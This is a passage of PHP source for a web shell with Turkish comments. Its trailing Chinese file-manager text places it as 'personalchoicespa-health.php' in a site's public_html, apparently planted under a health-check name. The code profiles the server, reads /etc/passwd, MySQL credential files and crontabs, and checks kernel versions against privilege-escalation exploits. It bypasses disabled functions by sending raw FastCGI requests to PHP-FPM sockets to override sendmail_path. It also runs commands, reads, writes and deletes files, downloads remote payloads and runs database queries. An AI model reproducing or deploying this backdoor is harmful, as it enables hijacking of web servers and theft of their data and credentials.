    $d['doc_root']     = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
    $d['open_basedir'] = ini_get('open_basedir');
    $d['sendmail_path']= ini_get('sendmail_path');
    $d['disable_functions'] = ini_get('disable_functions');

// Dizin erişimi
    $d['tmp_writable']     = is_writable('/tmp');
    $d['webdir_writable']  = is_writable(dirname(__FILE__));
    $d['tmp_executable']   = is_executable('/tmp');

// Exec fonksiyonları
    $exec_fns = array();
    foreach (array('exec','shell_exec','system','passthru','popen','proc_open','pcntl_exec') as $fn)
        $exec_fns[$fn] = _fn($fn);
    $d['exec_functions'] = $exec_fns;

// Bypass fonksiyonları
    $bypass = array();
    foreach (array('putenv','mail','error_log','mb_send_mail','iconv','chmod',
                   'file_put_contents','stream_socket_client','socket_create','curl_init') as $fn)
        $bypass[$fn] = _fn($fn);
    $d['bypass_functions'] = $bypass;

// Eklentiler
    $exts = array();
    foreach (array('FFI','Imagick') as $c) $exts[$c] = class_exists($c);
    foreach (array('curl','sockets','mbstring','imap','pcntl','mysqli','pdo_mysql') as $e)
        $exts[$e] = extension_loaded($e);
    $d['extensions'] = $exts;

// FPM socket tarama
    $all_socks = array(
        '/tmp/php-cgi-80.sock', '/tmp/php80-fpm.sock', '/tmp/php-8.0-fpm.sock',
        '/run/php/php8.0-fpm.sock', '/var/run/php/php8.0-fpm.sock',
        '/tmp/php-cgi-74.sock', '/tmp/php74-fpm.sock',
        '/run/php/php7.4-fpm.sock', '/var/run/php/php7.4-fpm.sock',
        '/tmp/php-cgi-82.sock', '/tmp/php82-fpm.sock',
        '/run/php/php8.2-fpm.sock', '/var/run/php/php8.2-fpm.sock',
        '/tmp/php-cgi-81.sock', '/run/php/php8.1-fpm.sock',
    );
    $fpm_socks = array();
    foreach ($all_socks as $sk) {
        if (file_exists($sk)) {
            $fp = @stream_socket_client("unix://$sk", $en, $em, 2);
            $fpm_socks[$sk] = $fp ? 'connectable' : 'exists_no_connect';
            if ($fp) fclose($fp);
        }
    }
    $d['fpm_sockets'] = $fpm_socks;

// Sendmail / MTA binary varlığı
    $mta = null;
    foreach (array('/usr/sbin/sendmail','/usr/bin/sendmail','/usr/bin/msmtp',
                   '/usr/bin/ssmtp','/usr/sbin/exim','/usr/sbin/postfix') as $b)
        if (file_exists($b)) { $mta = $b; break; }
    $d['mta_binary'] = $mta;

// LD_PRELOAD .so durumu
    $d['ld_so_exists']    = file_exists('/tmp/.ag_ld.so');
    $d['ld_so_exec']      = file_exists('/tmp/.ag_ld.so') && is_executable('/tmp/.ag_ld.so');

// /proc erişimi
    $d['proc_self_cmdline'] = @file_get_contents('/proc/self/cmdline');
    $d['proc_self_environ_readable'] = is_readable('/proc/self/environ');

// Kullanılabilir binary'ler
    $bins = array();
    foreach (array('/usr/bin/python3','/usr/bin/python','/usr/bin/python2',
                   '/usr/bin/perl','/usr/bin/ruby','/usr/bin/gcc','/usr/bin/g++',
                   '/usr/bin/curl','/usr/bin/wget','/usr/bin/nc','/bin/nc',
                   '/usr/bin/ncat','/usr/bin/nmap','/usr/bin/php',
                   '/usr/local/bin/php','/usr/bin/git') as $b)
        if (file_exists($b)) $bins[] = $b;
    $d['available_binaries'] = $bins;

// /etc/passwd — bash kullananlar
    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd) {
        $lines = explode("\n", $passwd);
        $d['passwd_bash_users'] = array_values(array_filter($lines, function($l) {
            return strpos($l, '/bin/bash') !== false || strpos($l, '/bin/sh') !== false;
        }));
    }

// MySQL config tarama
    $mysql_cfg = null;
    foreach (array('/www/server/panel/data/default.pl','/root/.my.cnf',
                   '/etc/mysql/debian.cnf','/www/server/mysql/conf/my.cnf',
                   '/etc/mysql/my.cnf') as $f) {
        if (file_exists($f)) { $mysql_cfg = array('file' => $f, 'content' => @file_get_contents($f)); break; }
    }
    $d['mysql_config'] = $mysql_cfg;

// Cron visibility
    $d['crontab_current'] = @file_get_contents('/var/spool/cron/crontabs/' . $d['user']);
    $d['crontab_root']    = @file_get_contents('/var/spool/cron/crontabs/root');
    $d['cron_d']          = array();
    $dh = @opendir('/etc/cron.d');
    if ($dh) { while (($f = readdir($dh)) !== false) if ($f[0] !== '.') $d['cron_d'][] = $f; closedir($dh); }

// SUID dosya varlık hızlı tarama (exec olmadan, sadece dosya okuma)
    $known_suid = array('/usr/bin/pkexec','/usr/bin/sudo','/usr/bin/newuidmap',
                        '/usr/bin/newgidmap','/usr/sbin/pppd','/usr/bin/at',
                        '/usr/lib/policykit-1/polkit-agent-helper-1');
    $suid_found = array();
    foreach ($known_suid as $b) if (file_exists($b)) $suid_found[] = $b;
    $d['known_suid_binaries'] = $suid_found;

// Kernel & CVE ipuçları
    preg_match('/(\d+\.\d+\.\d+)/', php_uname(), $m);
    $kver = isset($m[1]) ? $m[1] : '';
    $d['kernel_version'] = $kver;
    $d['gameoverlay_candidate'] = (version_compare($kver, '5.15.0', '>=') && version_compare($kver, '6.4.0', '<'));

// FPM sendmail_path bypass test
    $d['fpm_sm_test'] = null;
    if (!empty($fpm_socks)) {
        $first_sock = array_key_first($fpm_socks);
        if ($fpm_socks[$first_sock] === 'connectable') {
            $id2 = substr(md5(mt_rand()), 0, 8);
            $wrapper2 = '/tmp/.asw_diag_' . $id2;
            $outf2    = '/tmp/.aso_diag_' . $id2;
            $evil2    = '/tmp/.ase_diag_' . $id2 . '.php';
            @unlink($outf2);
            file_put_contents($wrapper2, "#!/bin/bash\necho 'FPM_SM_OK' > " . $outf2 . "\nexit 0\n");
            @chmod($wrapper2, 0755);
            file_put_contents($evil2, '<?php @mail("x@x.x","x","x"); ?>');
            // Inline FCGI gönder
            $fp2 = @stream_socket_client("unix://" . $first_sock, $en2, $em2, 3);
            if ($fp2) {
                $pr2 = array(
                    "GATEWAY_INTERFACE"=>"FastCGI/1.0","REQUEST_METHOD"=>"GET",
                    "SCRIPT_FILENAME"=>$evil2,"SCRIPT_NAME"=>"/".basename($evil2),
                    "SERVER_SOFTWARE"=>"php","REMOTE_ADDR"=>"127.0.0.1",
                    "SERVER_ADDR"=>"127.0.0.1","SERVER_PORT"=>"80","SERVER_NAME"=>"localhost",
                    "SERVER_PROTOCOL"=>"HTTP/1.1","CONTENT_TYPE"=>"","CONTENT_LENGTH"=>"0",
                    "QUERY_STRING"=>"","PHP_ADMIN_VALUE"=>"sendmail_path=".$wrapper2."\nopen_basedir=/",
                );
                $enc2=''; foreach($pr2 as $k=>$v){ $kl=strlen($k);$vl=strlen($v); $enc2.=($kl>127)?pack("N",$kl|0x80000000):chr($kl); $enc2.=($vl>127)?pack("N",$vl|0x80000000):chr($vl); $enc2.=$k.$v; }
                $pl2=(8-(strlen($enc2)%8))%8; $hdr2=pack("CCnnCC",1,4,1,strlen($enc2),$pl2,0); $enc2p=$hdr2.$enc2.str_repeat("\x00",$pl2);
                $beg2=pack("CCnnCC",1,1,1,8,0,0).pack("nCx5",1,0);
                $em2p=pack("CCnnCC",1,4,1,0,0,0); $st2=pack("CCnnCC",1,5,1,0,0,0);
                fwrite($fp2,$beg2.$enc2p.$em2p.$st2);
                stream_set_timeout($fp2,8); $raw2='';
                while(!feof($fp2)){$x=fread($fp2,4096);if(!$x)break;$raw2.=$x;}
                fclose($fp2);
                usleep(1000000);
                $d['fpm_sm_test'] = file_exists($outf2) ? trim(file_get_contents($outf2)) : 'no_output';
                @unlink($outf2); @unlink($wrapper2); @unlink($evil2);
            } else {
                @unlink($wrapper2); @unlink($evil2);
                $d['fpm_sm_test'] = 'socket_connect_failed';
            }
        }
    }

echo json_encode($d);
    exit;
}

// ===================== recon — tek seferde tam keşif =====================
if ($action === 'recon') {
    $data = array('status' => 'success');

$data['php_version'] = phpversion();
    $data['sapi'] = php_sapi_name();
    $data['os'] = PHP_OS;
    $data['uname'] = php_uname();
    $data['user'] = get_current_user();
    $data['uid'] = function_exists('posix_geteuid') ? posix_geteuid() : '?';
    $data['cwd'] = getcwd();
    $data['doc_root'] = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
    $data['open_basedir'] = ini_get('open_basedir');
    $data['tmp_writable'] = is_writable('/tmp');
    $data['webdir_writable'] = is_writable(dirname(__FILE__));
    $data['disable_functions'] = str_replace(' ', '', ini_get('disable_functions'));

$exec_fns = array();
    foreach (array('exec','shell_exec','system','passthru','popen','proc_open','pcntl_exec') as $fn)
        $exec_fns[$fn] = _fn($fn);
    $data['exec_functions'] = $exec_fns;

$exts = array();
    foreach (array('FFI','Imagick','curl','imap','mbstring') as $e)
        $exts[$e] = ($e === 'FFI' || $e === 'Imagick') ? class_exists($e) : extension_loaded($e);
    $data['extensions'] = $exts;

$bypass = array();
    foreach (array('putenv','mail','error_log','mb_send_mail','iconv') as $fn)
        $bypass[$fn] = _fn($fn);
    $data['bypass_functions'] = $bypass;

$exec_test = smart_run('echo AG_EXEC_OK');
    if ($exec_test !== null) {
        $data['exec_works']  = true;
        $data['exec_method'] = $exec_test['method'];
    } else {
        $data['exec_works']  = false;
        $data['exec_method'] = null;
    }

if (!empty($data['exec_works'])) {
        $sr = function($c) use ($exec_test) {
            $m = $exec_test['method'];
            if ($m === 'direct')    return run($c);
            if ($m === 'ffi')       return run_ffi($c);
            if ($m === 'cgi')       return run_cgi($c);
            if ($m === 'ld_preload')return run_ld($c);
            if ($m === 'imagick')   return run_imgk($c);
            if ($m === 'fpm_sm')    return run_fpm_sm($c);
            return null;
        };
        $data['id']       = trim($sr('id'));
        $data['hostname'] = trim($sr('hostname'));
        $data['kernel']   = trim($sr('uname -r'));
        $data['distro']   = trim($sr('cat /etc/os-release 2>/dev/null | head -3'));

$tools = array();
        foreach (array('gcc','python3','python','perl','unshare','setcap','getcap',
                       'curl','wget','pkexec','sudo','docker','lxc') as $t) {
            $w = $sr('which ' . $t . ' 2>/dev/null');
            $tools[$t] = ($w !== null && trim($w) !== '') ? trim($w) : false;
        }
        $data['tools'] = $tools;

$data['userns_clone']       = trim($sr('cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null'));
        $data['max_user_namespaces']= trim($sr('cat /proc/sys/user/max_user_namespaces 2>/dev/null'));
        $data['suid_files']         = trim($sr('find / -perm -4000 -type f 2>/dev/null | head -25'));
        $data['pkexec_version']     = trim($sr('pkexec --version 2>/dev/null'));
        $data['sudo_l']             = trim($sr('sudo -n -l 2>&1'));
        $data['writable_tmp']       = trim($sr('ls -la /tmp/ 2>/dev/null | head -5'));
        $data['passwd_users']       = trim($sr('cat /etc/passwd 2>/dev/null | grep -c "/bin/bash"'));
        $data['home_dirs']          = trim($sr('ls -la /home/ 2>/dev/null'));
    }

echo json_encode($data);
    exit;
}

// ===================== exec — komut çalıştır =====================
if ($action === 'exec') {
    $command = isset($_POST['command']) ? $_POST['command'] : '';
    $method  = isset($_POST['method']) ? $_POST['method'] : 'auto';
    if (empty($command)) {
        echo json_encode(array('status' => 'error', 'message' => 'Komut boş'));
        exit;
    }
    $dir = isset($_POST['dir']) ? $_POST['dir'] : '';
    if ($dir) $command = 'cd ' . escapeshellarg($dir) . ' && ' . $command;

$output = null; $used_method = null;
    if ($method === 'auto' || $method === 'smart') {
        $r = smart_run($command);
        if ($r !== null) { $output = $r['output']; $used_method = $r['method']; }
    } elseif ($method === 'direct')                { $output = run($command);       $used_method = 'direct'; }
    elseif ($method === 'ffi')                     { $output = run_ffi($command);   $used_method = 'ffi'; }
    elseif ($method === 'cgi')                     { $output = run_cgi($command);   $used_method = 'cgi'; }
    elseif ($method === 'ld' || $method === 'ldp') { $output = run_ld($command);    $used_method = 'ld_preload'; }
    elseif ($method === 'imagick')                 { $output = run_imgk($command);  $used_method = 'imagick'; }
    elseif ($method === 'fpm_sm' || $method === 'fpm') { $output = run_fpm_sm($command); $used_method = 'fpm_sm'; }

if ($output === null)
        echo json_encode(array('status' => 'error', 'message' => 'Çalıştırılamadı', 'method' => $used_method));
    else
        echo json_encode(array('status' => 'success', 'output' => $output, 'method' => $used_method));
    exit;
}

// ===================== fpm_exec — FPM socket bypass (ham) =====================
if ($action === 'fpm_exec') {
    $cmd    = isset($_POST['command']) ? $_POST['command'] : 'id';
    $output = run_fpm_sm($cmd);

// FPM FCGI body da döndür (diagnostik için)
    $all_socks = array(
        '/tmp/php-cgi-80.sock', '/tmp/php80-fpm.sock', '/tmp/php-8.0-fpm.sock',
        '/run/php/php8.0-fpm.sock', '/var/run/php/php8.0-fpm.sock',
        '/tmp/php74-fpm.sock', '/run/php/php7.4-fpm.sock',
        '/tmp/php82-fpm.sock', '/run/php/php8.2-fpm.sock',
    );
    $available_socks = array();
    foreach ($all_socks as $sk) if (file_exists($sk)) $available_socks[] = $sk;

if ($output !== null)
        echo json_encode(array('status' => 'success', 'output' => $output, 'method' => 'fpm_sm', 'sockets' => $available_socks));
    else
        echo json_encode(array('status' => 'error', 'message' => 'fpm_sm başarısız', 'sockets' => $available_socks));
    exit;
}

// ===================== fpm_diag — FPM bypass ayrıntılı tanı =====================
if ($action === 'fpm_diag') {
    $d = array('status' => 'success');
    $all_socks = array(
        '/tmp/php-cgi-80.sock', '/tmp/php80-fpm.sock', '/tmp/php-8.0-fpm.sock',
        '/run/php/php8.0-fpm.sock', '/var/run/php/php8.0-fpm.sock',
        '/tmp/php-cgi-74.sock', '/tmp/php74-fpm.sock',
        '/run/php/php7.4-fpm.sock', '/var/run/php/php7.4-fpm.sock',
        '/tmp/php-cgi-82.sock', '/tmp/php82-fpm.sock', '/run/php/php8.2-fpm.sock',
    );
    $d['sockets'] = array();
    foreach ($all_socks as $sk) {
        if (!file_exists($sk)) continue;
        $fp = @stream_socket_client("unix://$sk", $en, $em, 2);
        $d['sockets'][$sk] = $fp ? 'ok' : $em;
        if ($fp) fclose($fp);
    }

// evil.php'yi /tmp'a yaz ve sendmail_path değerini FPM bağlamında oku
    if (!empty($d['sockets'])) {
        $first = array_key_first($d['sockets']);
        if ($d['sockets'][$first] === 'ok') {
            $id = substr(md5(mt_rand()), 0, 8);
            $evil = '/tmp/.ase_fdg_' . $id . '.php';
            file_put_contents($evil, '<?php header("Content-Type:application/json"); echo json_encode(["sp"=>ini_get("sendmail_path"),"od"=>ini_get("open_basedir"),"df"=>ini_get("disable_functions"),"mail"=>function_exists("mail"),"chmod_test"=>@chmod("/tmp/.ase_fdg_chmod_test",0755)]); ?>');

$pr = array(
                "GATEWAY_INTERFACE"=>"FastCGI/1.0","REQUEST_METHOD"=>"GET",
                "SCRIPT_FILENAME"=>$evil,"SCRIPT_NAME"=>"/".basename($evil),
                "SERVER_SOFTWARE"=>"php","REMOTE_ADDR"=>"127.0.0.1",
                "SERVER_ADDR"=>"127.0.0.1","SERVER_PORT"=>"80","SERVER_NAME"=>"localhost",
                "SERVER_PROTOCOL"=>"HTTP/1.1","CONTENT_TYPE"=>"","CONTENT_LENGTH"=>"0",
                "QUERY_STRING"=>"","PHP_ADMIN_VALUE"=>"sendmail_path=/tmp/CUSTOM_TEST_PATH\nopen_basedir=/",
            );
            $enc=''; foreach($pr as $k=>$v){ $kl=strlen($k);$vl=strlen($v); $enc.=($kl>127)?pack("N",$kl|0x80000000):chr($kl); $enc.=($vl>127)?pack("N",$vl|0x80000000):chr($vl); $enc.=$k.$v; }
            $pl=(8-(strlen($enc)%8))%8;
            $beg=pack("CCnnCC",1,1,1,8,0,0).pack("nCx5",1,0);
            $phdr=pack("CCnnCC",1,4,1,strlen($enc),$pl,0).$enc.str_repeat("\x00",$pl);
            $pend=pack("CCnnCC",1,4,1,0,0,0); $sin=pack("CCnnCC",1,5,1,0,0,0);
            $fp2 = @stream_socket_client("unix://$first", $en, $em, 5);
            if ($fp2) {
                fwrite($fp2, $beg.$phdr.$pend.$sin);
                $raw=''; stream_set_timeout($fp2,10);
                while(!feof($fp2)){$x=fread($fp2,4096);if(!$x)break;$raw.=$x;}
                fclose($fp2);
                $pos=strpos($raw,"\r\n\r\n");
                $body=$pos!==false?substr($raw,$pos+4):$raw;
                $d['fcgi_body'] = $body;
                $d['sp_override_works'] = (strpos($body,'CUSTOM_TEST_PATH') !== false);
                @unlink($evil);
            }
        }
    }

// Wrapper chmod test
    $wtest = '/tmp/.asw_test_' . substr(md5(mt_rand()),0,6);
    file_put_contents($wtest, "#!/bin/bash\necho test\n");
    $chmod_ok = @chmod($wtest, 0755);
    $d['wrapper_chmod'] = $chmod_ok;
    $d['wrapper_executable'] = is_executable($wtest);
    @unlink($wtest);

$d['mta_exists'] = null;
    foreach (array('/usr/sbin/sendmail','/usr/bin/msmtp','/usr/bin/ssmtp') as $b)
        if (file_exists($b)) { $d['mta_exists'] = $b; break; }

echo json_encode($d);
    exit;
}

// ===================== write_file =====================
if ($action === 'write_file') {
    $path    = isset($_POST['path']) ? $_POST['path'] : '';
    $content = isset($_POST['content']) ? $_POST['content'] : '';
    $mode    = isset($_POST['mode']) ? $_POST['mode'] : '';
    $decode  = isset($_POST['decode']) ? $_POST['decode'] : '';
    $append  = isset($_POST['append']) ? $_POST['append'] : '';
    if (empty($path)) { echo json_encode(array('status' => 'error', 'message' => 'Dosya yolu boş')); exit; }
    if ($decode === 'base64') $content = base64_decode($content);
    $r = ($append === '1')
        ? @file_put_contents($path, $content, FILE_APPEND)
        : @file_put_contents($path, $content);
    if ($r !== false) {
        if ($mode) @chmod($path, octdec($mode));
        echo json_encode(array('status' => 'success', 'bytes' => $r));
    } else {
        echo json_encode(array('status' => 'error', 'message' => 'Yazılamadı'));
    }
    exit;
}

// ===================== read_file =====================
if ($action === 'read_file') {
    $path = isset($_POST['path']) ? $_POST['path'] : '';
    if (empty($path)) { echo json_encode(array('status' => 'error', 'message' => 'Dosya yolu boş')); exit; }
    if (!file_exists($path)) { echo json_encode(array('status' => 'error', 'message' => 'Dosya bulunamadı')); exit; }
    $content = @file_get_contents($path);
    if ($content === false)
        echo json_encode(array('status' => 'error', 'message' => 'Okunamadı'));
    else
        echo json_encode(array('status' => 'success', 'content' => $content, 'size' => strlen($content)));
    exit;
}

// ===================== list_dir — dizin listele =====================
if ($action === 'list_dir') {
    $path = isset($_POST['path']) ? $_POST['path'] : getcwd();
    if (!is_dir($path)) { echo json_encode(array('status' => 'error', 'message' => 'Dizin değil')); exit; }
    $items = array();
    $dh = @opendir($path);
    if ($dh) {
        while (($f = readdir($dh)) !== false) {
            if ($f === '.' || $f === '..') continue;
            $fp = rtrim($path, '/') . '/' . $f;
            $items[] = array(
                'name'  => $f,
                'type'  => is_dir($fp) ? 'dir' : 'file',
                'size'  => is_file($fp) ? filesize($fp) : null,
                'mtime' => @filemtime($fp),
                'perms' => substr(sprintf('%o', @fileperms($fp)), -4),
            );
        }
        closedir($dh);
    }
    usort($items, function($a, $b) { return strcmp($a['type'].$a['name'], $b['type'].$b['name']); });
    echo json_encode(array('status' => 'success', 'path' => $path, 'count' => count($items), 'items' => $items));
    exit;
}

// ===================== delete_file — dosya sil =====================
if ($action === 'delete_file') {
    $path = isset($_POST['path']) ? $_POST['path'] : '';
    if (!$path) { echo json_encode(array('status' => 'error', 'message' => 'Yol boş')); exit; }
    echo @unlink($path)
        ? json_encode(array('status' => 'success', 'deleted' => $path))
        : json_encode(array('status' => 'error', 'message' => 'Silinemedi'));
    exit;
}

// ===================== find_writable — yazılabilir dizin tara =====================
if ($action === 'find_writable') {
    $base  = isset($_POST['path']) ? $_POST['path'] : '/';
    $depth = isset($_POST['depth']) ? (int)$_POST['depth'] : 3;
    $result = array();
    $scan = function($dir, $cur) use (&$scan, &$result, $depth) {
        if ($cur > $depth) return;
        $dh = @opendir($dir);
        if (!$dh) return;
        while (($f = readdir($dh)) !== false) {
            if ($f === '.' || $f === '..') continue;
            $fp = rtrim($dir, '/') . '/' . $f;
            if (@is_dir($fp) && @is_writable($fp)) {
                $result[] = $fp;
                $scan($fp, $cur + 1);
            }
        }
        closedir($dh);
    };
    if (@is_writable($base)) $result[] = $base;
    $scan($base, 0);
    echo json_encode(array('status' => 'success', 'base' => $base, 'writable' => $result));
    exit;
}

// ===================== download — URL'den dosya indir =====================
if ($action === 'download') {
    $url  = isset($_POST['url']) ? $_POST['url'] : '';
    $dest = isset($_POST['dest']) ? $_POST['dest'] : '';
    if (!$url || !$dest) { echo json_encode(array('status' => 'error', 'message' => 'url ve dest gerekli')); exit; }
    $data = null; $err = '';
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        $data = curl_exec($ch);
        $err  = curl_error($ch);
        curl_close($ch);
    } elseif (ini_get('allow_url_fopen')) {
        $data = @file_get_contents($url);
    }
    if ($data && strlen($data) > 0) {
        $bytes = @file_put_contents($dest, $data);
        echo json_encode(array('status' => 'success', 'bytes' => $bytes, 'dest' => $dest));
    } else {
        echo json_encode(array('status' => 'error', 'message' => $err ?: 'indirilemedi', 'size' => strlen($data ?: '')));
    }
    exit;
}

// ===================== mysql — MySQL sorgusu çalıştır =====================
if ($action === 'mysql') {
    $host  = isset($_POST['host'])  ? $_POST['host']  : '127.0.0.1';
    $port  = isset($_POST['port'])  ? (int)$_POST['port'] : 3306;
    $user  = isset($_POST['user'])  ? $_POST['user']  : '';
    $pass  = isset($_POST['pass'])  ? $_POST['pass']  : '';
    $db    = isset($_POST['db'])    ? $_POST['db']    : '';
    $query = isset($_POST['query']) ? $_POST['query'] : '';
    if (!$query) { echo json_encode(array('status' => 'error', 'message' => 'Query boş')); exit; }
    if (!function_exists('mysqli_connect')) { echo json_encode(array('status' => 'error', 'message' => 'mysqli yok')); exit; }
    $conn = @mysqli_connect($host, $user, $pass, $db, $port);
    if (!$conn) { echo json_encode(array('status' => 'error', 'message' => mysqli_connect_error())); exit; }
    $res = @mysqli_query($conn, $query);
    if ($res === false) {
        echo json_encode(array('status' => 'error', 'message' => mysqli_error($conn)));
    } elseif ($res === true) {
        echo json_encode(array('status' => 'success', 'affected' => mysqli_affected_rows($conn)));
    } else {
        $rows = array();
        while ($row = mysqli_fetch_assoc($res)) $rows[] = $row;
        echo json_encode(array('status' => 'success', 'rows' => $rows, 'count' => count($rows)));
    }
    mysqli_close($conn);
    exit;
}

// ===================== curl_req — sunucu tarafından HTTP isteği =====================
if ($action === 'curl_req') {
    $url     = isset($_POST['url'])     ? $_POST['url']     : '';
    $method  = strtoupper(isset($_POST['method']) ? $_POST['method'] : 'GET');
    $headers = isset($_POST['headers']) ? (array)$_POST['headers'] : array();
    $body    = isset($_POST['body'])    ? $_POST['body']    : '';
    if (!$url) { echo json_encode(array('status' => 'error', 'message' => 'URL boş')); exit; }
    if (!function_exists('curl_init')) { echo json_encode(array('status' => 'error', 'message' => 'curl yok')); exit; }
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_HEADER, true);
    if ($headers) curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        if ($body) curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    } elseif ($method !== 'GET') {
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
        if ($body) curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }
    $resp = curl_exec($ch);
    $info = curl_getinfo($ch);
    $err  = curl_error($ch);
    curl_close($ch);
    $hs = $info['header_size'];
    echo json_encode(array(
        'status'    => 'success',
        'http_code' => $info['http_code'],
        'headers'   => substr($resp, 0, $hs),
        'body'      => substr($resp, $hs),
        'error'     => $err,
    ));
    exit;
}

// ===================== Bilinmeyen =====================
echo json_encode(array(
    'status'    => 'error',
    'message'   => 'Bilinmeyen komut',
    'available' => array(
        'ping','info','diag','recon',
        'exec','fpm_exec','fpm_diag',
        'write_file','read_file','list_dir','delete_file',
        'find_writable','download','mysql','curl_req',
    ),
));

文件操作 - personalchoicespa-health.php

文件: /storage/v12552/personalchoicespa/public_html/personalchoicespa-health.php

编辑文件内容

修改文件时间

删除文件